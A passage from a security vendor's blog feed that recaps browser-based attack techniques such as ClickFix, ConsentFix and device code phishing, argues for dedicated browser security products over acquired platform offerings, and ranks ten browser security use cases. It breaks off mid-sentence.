We haven&#39;t trained people to worry about being given a code and being told to type that code.&quot;</p><blockquote><p>John&#39;s closing take: &quot;It still feels early and emergent, even though the technique has been known for a while. It hasn&#39;t been weaponized like it has right now. I think device code is just at the starting gun.&quot; </p></blockquote><p>The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/"><u>ShinyHunters</u></a>.</p><hr/><h1><b>What ties all of this together</b></h1><p>Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don&#39;t see them because the delivery vector increasingly isn&#39;t email. EDR doesn&#39;t reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don&#39;t see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.</p><p>Push detects all of them — <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">AiTM phishing</a>,<a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/"> ClickFix and the *Fix family</a>,<a href="https://pushsecurity.com/blog/consentfix/"> ConsentFix</a>, and<a href="https://pushsecurity.com/blog/device-code-phishing/"> device code phishing</a> — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.</p><p><a href="https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground"><u>Watch the full webinar</u></a> to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or <a href="https://pushsecurity.com/demo">book a demo</a> to see how Push handles them.</p>]]></content:encoded>
    </item>
    <item>
      <title>Why &quot;good enough&quot; isn’t enough: the case for best-of-breed browser security</title>
      <link>https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security</guid>
      <pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Browser-based attacks</category>
      <description>Why &quot;good enough&quot; isn’t enough when it comes to browser security, and a best-of-breed approach is needed to tackle emerging threats.</description>
      <content:encoded><![CDATA[<p>Three browser security companies have been acquired by major security platforms in five months. CrowdStrike acquired Seraphic Security in January 2026. Zscaler absorbed SquareX in February. In May, Akamai announced the acquisition of LayerX. Add Palo Alto Networks&#39; earlier acquisition of Talon, and the browser security market has consolidated faster than almost any adjacent security category before it.</p><p>These acquisitions recognize that the browser is now where employees work, where AI runs, and where the most damaging attacks on organizations originate. It’s telling that browser security already accounts for <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">12.6% of the average security budget</a>, and <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">85% of organizations expect to increase that spend over the next 12-24 months</a>.</p><p>But for security buyers, consolidation creates a risk as much as an opportunity. The question isn&#39;t whether your existing platform vendor now offers browser security — it&#39;s whether what they&#39;re offering can actually protect you as the threat landscape evolves.</p><hr/><h1><b>Why &quot;good enough&quot; isn&#39;t good enough in the browser</b></h1><p>The consolidation pitch is tempting. If you&#39;re already a CrowdStrike, Zscaler, or Palo Alto customer, adding browser security through an existing relationship means fewer vendors, fewer contracts, and a coherent narrative about platform consolidation that plays well internally. </p><p>Security teams make these kinds of tradeoffs all the time — accepting that your SASE vendor&#39;s threat intelligence feed may not match a dedicated provider, or that your EDR vendor&#39;s vulnerability management module may not match a dedicated scanner — are reasonable decisions where the operational benefit of consolidation outweighs the capability difference.</p><p>But browser security is a category where the stakes are too high to accept a &quot;good enough&quot; solution. The majority of all reported breaches now originate in the browser and attacker tradecraft in this space is advancing at an unprecedented rate thanks to AI. These risks warrant the strongest form of defense. Here are three reasons that “good enough” solutions don&#39;t give you that:</p><h2><b>1. Most platform browser solutions were built for the wrong problems</b></h2><p><a href="https://www.crowdstrike.com/en-us/resources/infographics/identity-security-risk-review/"><u>CrowdStrike&#39;s own research</u></a> puts identity involvement in 80% of all modern breaches. Identity weaknesses played a material role in <a href="https://www.paloaltonetworks.com/resources/research/unit-42-incident-response-report">almost 90% of Unit 42 incident response investigations</a>. The breaches making headlines — 2024&#39;s <a href="https://pushsecurity.com/blog/snowflake-retro">mass Snowflake account compromises</a>, 2025&#39;s wave of Salesforce-targeted attacks, and 2026&#39;s <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">continued spree of data theft and extortion</a> — all trace back to identity weaknesses exploited through the browser: credentials stuffed into login pages that lacked MFA, session tokens hijacked via AiTM phishing, OAuth consent abused to grant persistent access, and device code flows manipulated to bypass authentication entirely. </p><p>Yet Seraphic was built for browser runtime exploit prevention, SquareX for file-based malware sandboxing, LayerX for access governance and AI usage policy. These are real use cases, but they&#39;re not the use cases behind headline breaches. If your browser security solution checks a box for &quot;phishing protection&quot; but can&#39;t detect the identity attack techniques that are actually being industrialized and deployed at scale, you have a gap — and the danger is that you don&#39;t know it&#39;s there.</p><h2><b>2. Even solutions claiming the right capabilities often deliver them superficially</b></h2><p>Every browser security vendor claims phishing detection, ClickFix protection, and session security. What varies enormously is whether those capabilities work against real, live, never-before-seen attacker infrastructure — or only against known-bad indicators that attackers rotate in minutes. 95% of in-browser attacks detected by Push used bot protection to evade blocklists; 89% of phishing domains are active for fewer than two days. </p><p>A solution that appears comprehensive in a demo or PoV may leave significant gaps when tested against adversaries who understand exactly how security tools work and actively engineer around them. </p><h2><b>3. AI is only going to widen the gap between &quot;good enough&quot; and what you need</b></h2><p>When a browser security product is acquired, engineering effort turns inwards towards integration with the parent platform, not advancing detection capability. </p><p>That dynamic plays out differently for each acquisition, but in Seraphic&#39;s case it is expected to be particularly heightened. Seraphic works by injecting an agent into the browser&#39;s JavaScript runtime. This is the same approach antivirus vendors have used for years, with well-documented stability consequences. Stability is now a top priority for CrowdStrike, which means the Seraphic integration will proceed cautiously. For buyers, that translates directly into slower capability advancement, not faster.</p><p>But this is no time for engineering efforts to turn inward, as the threat landscape continues to evolve at an unprecedented rate. You only need to look at the rise of techniques like device code phishing, which have gone from <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>research curiosity to industrialized exploitation</u></a> in a matter of months — in large part enabled by AI-powered tools and AI-assisted development. Similarly, AI has compressed the time to generate a convincing phishing campaign from hours to minutes. </p><p>But it&#39;s not only external threats: <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">92% of organizations allow employees to use public GenAI applications</a> — every one of them with unsanctioned AI use occurring by design — employees are routinely entering sensitive data into unapproved AI tools, and <a href="https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025"><u>Gartner predicts</u></a> 40% of enterprise applications will feature AI agents by end of 2026, up from under 5% in 2025. </p><p>The gap between an acquired product focused on integration and vendors whose single-minded focus is on stopping these emerging threats will continue to widen over time.</p><hr/><h1><b>How to identify a genuinely best-of-breed solution</b></h1><h2><b>Start from your own requirements</b></h2><p>Define the outcomes you need before speaking to any vendor. The <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/">highest-value browser security use cases</a> are account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, and shadow SaaS and OAuth governance.</p><h2><b>Understand how it detects, not just what it claims</b></h2><p>Most solutions rely on IoCs — matching known-bad domains, URLs, and IPs against feeds that attackers rotate in minutes.  There’s a major shortcoming with this approach, though: attackers rotate infrastructure faster than any blocklist updates and use bot protection to stay off threat intelligence feeds, making every attack feel <a href="https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/"><u>like a zero-day</u></a>. The only approach that reliably works is TTP-based behavioral detection. Ask every vendor: are you detecting a known-bad indicator or a behavioral technique?</p><h2><b>Test against real attacker behavior</b></h2><p>Don&#39;t evaluate phishing detection with old phishing URLs. By the time you’re running these tests their IoCs will already be on block-lists (see point above). Instead, deploy realistic testing scenarios and look for demonstrable evidence of stopping real-world phishing kits — Evilginx, Tycoon2FA, Sneaky2FA, and so on. </p><h2><b>Assess innovation velocity</b></h2><p>Ask every vendor about their research output and feature release history over the past six months — are they discovering and publishing novel attack techniques, or covering what others already documented? Are new detections shipping continuously, or in quarterly cycles? For acquired products specifically, also ask how the roadmap has changed since acquisition. </p><h2><b>Consider operationalization, vendor focus, and lock-in</b></h2><p>Many solutions demo well but create significant overhead at scale. Consider whether you want another agent on endpoints, and whether you have the resources to tune granular policies without drowning in false positives. Your requirements might not carry the same weight with a platform vendor with tens of thousands of customers across multiple product lines, versus a dedicated vendor whose entire roadmap exists to solve your problem. And factor in lock-in: every capability consolidated into an existing platform vendor reduces your ability to change direction later.</p><hr/><h1><b>Why Push is the best-of-breed browser security solution</b></h1><p>Think of Push as EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Here’s why customers choose Push as a best-of-breed solution:</p><h2><b>Push is built for the security problems that actually cause breaches</b> </h2><p>The highest-value browser security problems — account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, shadow SaaS and OAuth governance — all require visibility inside the browser session. Push was built from the ground up for exactly that. The same foundational capability that detects AiTM phishing and ClickFix attacks also surfaces the exposure most security teams don&#39;t know they have: <a href="https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/">across Push&#39;s customer base</a>, 1 in 4 logins use passwords rather than SSO, 2 in 5 are unprotected by MFA, and 46.76% of browser extensions carry permissions sufficient to perform account takeover — none of it visible from the endpoint, network, or email layer.</p><h2><b>Push detects high-fidelity attacker TTPs, not low-level IoCs</b></h2><p>Push&#39;s browser extension operates as a flight recorder inside the session, capturing every page load, credential submission, OAuth consent flow, and user action in real time. That telemetry surfaces attacker behavior — the page structure and script signatures of AiTM kits, the clipboard mechanics of ClickFix, the OAuth flow characteristics of ConsentFix — rather than infrastructure indicators that attackers rotate in minutes. This is how Push intercepts “zero-day” phishing using fresh infrastructure and domains every time, while most solutions are stuck playing known-bad whac-a-mole. </p><p><b>In a 30-day POV at a ~4,500-employee financial services organization with a mature existing stack, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to every other tool in place</b>.</p><h2><b>Push’s research and agentic threat hunting keeps you ahead of attacker innovation</b></h2><p>Push named <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a> and <a href="https://pushsecurity.com/blog/installfix/">InstallFix</a> before any other vendor detected either in production. That research feeds an <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic detection pipeline</a> built on two learning loops — an inner loop for real-time detection of known techniques, and an outer loop where autonomous agents continuously hunt across 3 million deployed browsers for emerging threats, writing new detections and deploying them to customer environments in minutes. </p><p>Our <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic threat hunting pipeline</a> has <b>tripled the new detections shipped per month</b> — and as a dedicated browser security vendor, that&#39;s where every research dollar goes. When attackers are harnessing AI to develop tooling, deploy and tear-down infrastructure, and operate campaigns at scale, this capability is essential to stay ahead of the increased volume and variation in threats that users are encountering in the browser. </p><h2><b>Push solves more use cases than just stopping advanced attacks</b></h2><p>Push uses the same browser-layer visibility to surface every AI tool, agentic browser, extension, and OAuth integration in use across the organization — and enforce policy on what employees can do inside them in real time, including unsanctioned tools no other layer sees. The same technical capabilities provided by Push also harden the identity attack surface, prevent data loss, accelerate insider investigations, and let security teams write custom detections and policies for organization-specific risks. One extension, one deployment, <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/">multiple high-value use cases</a>.</p><h2><b>Push is built to be operationalized at scale, not just demoed</b></h2><p>Push deploys to <a href="https://pushsecurity.com/customer-stories">100,000 users in under one hour on a normal workday</a> — no migration overhead or performance impact. The false positive rate is negligible, meaning no alert noise and no policy tuning overhead. And because Push is independent, it integrates into open ecosystems — feeding browser-layer telemetry into your SIEM, XDR, SOAR, and identity tools alongside the rest of your stack, without adding to your platform lock-in.</p><hr/><h1><b>Final thoughts</b></h1><p>Three acquisitions in five months is a strong market signal, but a strong market signal about vendor interest in a category is not the same thing as a strong signal about capability. The attacker techniques and tooling behind breaches in 2026 are evolving faster than any acquired product with split engineering priorities can reasonably track. </p><p>Security buyers who accept a bundled browser solution because it is included in an existing contract are making a procurement decision, not a security decision. The threats in the browser are serious and sophisticated enough to justify the investment in a tool built to stop them. If you agree, Push is worth a serious look.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>The top 10 security problems you can solve in the browser — ranked by value</title>
      <link>https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value</guid>
      <pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Risk management</category>
      <description>Ranking the security problems you can solve in the browser by security value and browser fit.</description>
      <content:encoded><![CDATA[<p>Browser security solutions are one of the most significant additions to the enterprise security stack in recent years — and the data shows it. The browser is where <b>85% of work now happens</b>, where AI tools are accessed, and where attackers increasingly choose to strike.</p><p>According to <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/">Omdia&#39;s 2026 research</a>, browser security is already a top-five priority for <b>88% of organizations</b>, and the top priority for <b>26%</b>. Of those that have deployed browser security solutions, the results speak for themselves: security leaders consistently report high satisfaction with the visibility and control they gain at a layer that was previously a blind spot.</p><p>But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn&#39;t straightforward. Current solutions on the market serve a wide range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.</p><p>This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1ARDI5m8UJTN9QXXfbyyeO/ad04834463f3537a724ecfcaa0054fb0/top10_browser_security_infographic_4x__14_.png" alt="top 10 browser security infographic"/><figcaption>The top 10 security problems you can solve in the browser, ranked by security value and browser fit.</figcaption></figure><hr/><h1><b>#1 — Account takeover prevention: detecting credential attacks across all vectors</b></h1><p><b>Security value: Very high | Browser fit: Uniquely suited</b></p><p>Account takeover (ATO) is the dominant entry point for enterprise breaches: <a href="https://www.crowdstrike.com/en-gb/resources/infographics/identity-security-risk-review/">80% of all modern breaches involve compromised or stolen identities</a>. The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.</p><p>According to <a href="https://cf-assets.www.cloudflare.com/slt3lc6tev37/sWDBUMNVtEJB9ZFLt1dUU/8d69e92de2edfb3bf59e7d21d57e7e1a/Cloudflare-2026-threat-report.pdf">Cloudflare&#39;s 2026 Threat Report</a>, <b>63% of all human logins involve credentials already compromised elsewhere</b>, and <b>94% of all login attempts originate from bots</b>. The <a href="https://pushsecurity.com/blog/snowflake-retro/">Snowflake breach</a> — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It&#39;s particularly telling that 80% of the accounts impacted had prior breach exposure.</p><p>Every login, regardless of method or app, happens inside a browser session. That makes the browser the only layer capable of observing the complete authentication picture. <a href="https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/">Push&#39;s telemetry illustrates the gap</a>: of the last million logins observed, <b>1 in 4 were password logins rather than SSO, 2 in 5 lacked MFA, and 1 in 5 used a weak, breached, or reused credential</b> — none of which is visible to an IdP that only surfaces authentications flowing through it. </p><p>For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can&#39;t be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, <b>46% of infostealer infections originate</b>.</p><hr/><h1><b>#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures</b></h1><p><b>Security value: Very high | Browser fit: Uniquely suited</b></p><p>Adversary-in-the-Middle (AiTM) phishing — where an attacker&#39;s reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. <a href="https://www.esentire.com/resources/library/2026-threat-report">eSentire&#39;s 2026 Threat Report</a> attributes <b>63% of account compromise incidents to PhaaS kits</b>, with account compromise surging 389% year-over-year.</p><p>Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: <a href="https://cloud.google.com/blog/topics/threat-intelligence/m-trends-2026">Mandiant M-Trends 2026</a> found email phishing dropped from 14% to 6% as an infection vector, and Push data shows <b>roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely</b> — via search engine malvertising, social platforms, and compromised websites. Meanwhile, <a href="https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/"><b>89% of phishing domains are active for less than two days</b></a>, making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.</p><p>Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.</p><hr/><h1><b>#3 — Identity posture hardening: enforcing security across the apps your IdP doesn&#39;t manage</b></h1><p><b>Security value: High | Browser fit: Uniquely suited</b></p><p>The first challenge is knowing what you&#39;re protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it&#39;s created or used — authentication method, password strength, MFA status, and all.</p><p>The average employee logs into more than 15 applications, the majority with logins outside SSO coverage. IdP policies and SSPM findings have no mechanism to intervene in authentication flows they don&#39;t control. <b>47% of BEC victims had not enforced MFA in their Microsoft 365 environment</b> (<a href="https://www.s-rminform.com/cyber-insights-report-2026"><u>S-RM Cyber Insights 2026</u></a>) — and the gap is larger still once you consider shadow SaaS.</p><p>But discovery without enforcement is just an inventory problem. Being in the browser means that you&#39;re in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.</p><hr/><h1><b>#4 — Browser extension security</b></h1><p><b>Security value: High | Browser fit: Uniquely suited</b></p><p>Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (<a href="https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it"><u>Cyberhaven</u></a>, <a href="https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html">DarkSpectre</a>, <a href="https://thehackernews.com/2025/12/trust-wallet-chrome-extension-hack.html">Trust Wallet</a>, among many others).</p><p><a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/"><u>Analysis of 20,000+ extensions across Push customers</u></a> found <b>46.76% have the permission combinations needed to perform account takeover with no user interaction</b>, making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it&#39;s legitimate extensions that <i>become</i> malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.</p><p>SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.</p><hr/><h1><b>#5 — Shadow SaaS discovery and OAuth integration governance</b></h1><p><b>Security value: High | Browser fit: Uniquely suited</b></p><p>Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening <i>how</i> employees authenticate, shadow SaaS discovery focuses on <i>what</i> they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.</p><p>OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.</p><ul><li><p>The <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">ShinyHunters</a> Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn&#39;t stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.</p></li><li><p>The <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/">Context.ai → Vercel</a> chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.</p></li></ul><p>Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user&#39;s approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.</p><hr/><h1><b>#6 — Blocking ClickFix and social engineering-based malware delivery</b></h1><p><b>Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.</b></p><p>ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for <b>47% of observed attacks</b>. CrowdStrike&#39;s <a href="https://www.crowdstrike.com/explore/2026-global-threat-report">2026 Global Threat Report</a> identified fake CAPTCHA lures as the most common malware download type, increasing <b>563% year-over-year</b>. The technique writes a malicious command to the victim&#39;s clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and <b>4 in 5 ClickFix payloads intercepted by Push arrived via search engines</b> — not email (bypassing email anti-phishing controls).</p><p>The browser is the earliest and most effective intervention point — detecting the clipboard injection and social engineering lure before anything reaches the endpoint in executable form. But the problem doesn&#39;t end at the browser boundary: once the command has been pasted and run, detection and remediation become endpoint problems, and a mature defense requires both layers. The broader *Fix family — FileFix, InstallFix, and similar derivatives — follows the same pattern, with the browser providing the critical early-warning layer within a defense that spans browser and endpoint.</p><p><a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/"><u>ConsentFix</u></a>, a novel technique discovered by Push researchers when we intercepted a live campaign attributed to Russian state-linked APT29, is a notable exception: it is fully browser-native with no endpoint component, using a manipulated OAuth consent flow rather than clipboard-injected malware. ConsentFix is better understood as an OAuth attack than a malware delivery technique — it signals the direction of travel as attackers seek to eliminate the endpoint detection surface entirely and operate purely within browser-native mechanisms like OAuth. </p><hr/><h1><b>#7 — AI visibility and control: enforcing which AI tools employees can use and how</b></h1><p><b>Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones</b></p><p>AI adoption is outpacing security governance at nearly every organization, and <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market/"><b>71% of organizations are concerned about data leakage via unsanctioned AI apps</b></a>. But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — <a href="https://keepaware.com/blog/46-of-sensitive-data-bypasses-your-dlp"><b>46% of sensitive inputs to AI tools are sent via personal accounts</b></a> — is an identity posture problem (#3).</p><p>The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.</p><p>Enterprise AI platforms — Claude, ChatGPT Enterprise, Microsoft Copilot, Gemini for Workspace — increasingly provide native prompt logging and DLP controls on their enterprise plans, and these are richer and more reliable for sanctioned tools than browser session-layer monitoring. The right architecture is complementary: use the browser to enforce which AI tools employees can access and ensure they reach the corporate tenant rather than a personal account, then rely on platform-native controls to govern activity within that environment.</p><p>The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.</p><hr/><h1><b>#8 — Investigation acceleration and incident response: closing the missing middle</b></h1><p><b>Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry</b></p><p>Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened <i>inside the browser session</i> — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the <a href="https://www.paloaltonetworks.co.uk/resources/research/unit-42-incident-response-report"><b>48% of intrusions involving browser-based activity</b></a>, the absence of browser telemetry is a significant investigative gap.</p><p>Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That&#39;s the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.</p><p>Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won&#39;t tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).</p><p>The browser provides the causal link that other sources miss: the bridge between &quot;a user visited a URL&quot; and &quot;credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser.&quot; Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.</p><hr/><h1><b>#9 — Infostealer defense: detecting exposure and blocking delivery</b></h1><p><b>Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution</b></p><p>Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.</p><p>The 2025 Verizon DBIR found <b>54% of ransomware attacks traced back to infostealer-enabled credential theft</b>. Microsoft reports <b>39,000 session token attacks per day</b>, the majority sourced from infostealer-harvested cookies. The<a href="https://pushsecurity.com/blog/snowflake-retro/"> Snowflake breach</a> we mentioned earlier was powered entirely by infostealer-harvested credentials: stolen years earlier, never rotated, and used to authenticate directly to tenants that lacked MFA. More than 80% of compromised accounts had prior credential exposure. The Okta breach followed the same pattern, beginning with an infostealer on an engineer&#39;s personal device harvesting credentials synced to their personal Google profile on a corporate browser. </p><p>The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.</p><ul><li><p>Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.</p></li><li><p>Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.</p></li></ul><p>This is particularly critical for the <a href="https://www.verizon.com/business/en-gb/resources/reports/dbir/"><b>46% of infected devices that are unmanaged</b></a> where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer <i>execution</i> remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.</p><hr/><h1><b>#10 — Data loss prevention: a key component of effective DLP, but not the full picture</b></h1><p><b>Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP</b></p><p>File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.</p><p>The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, 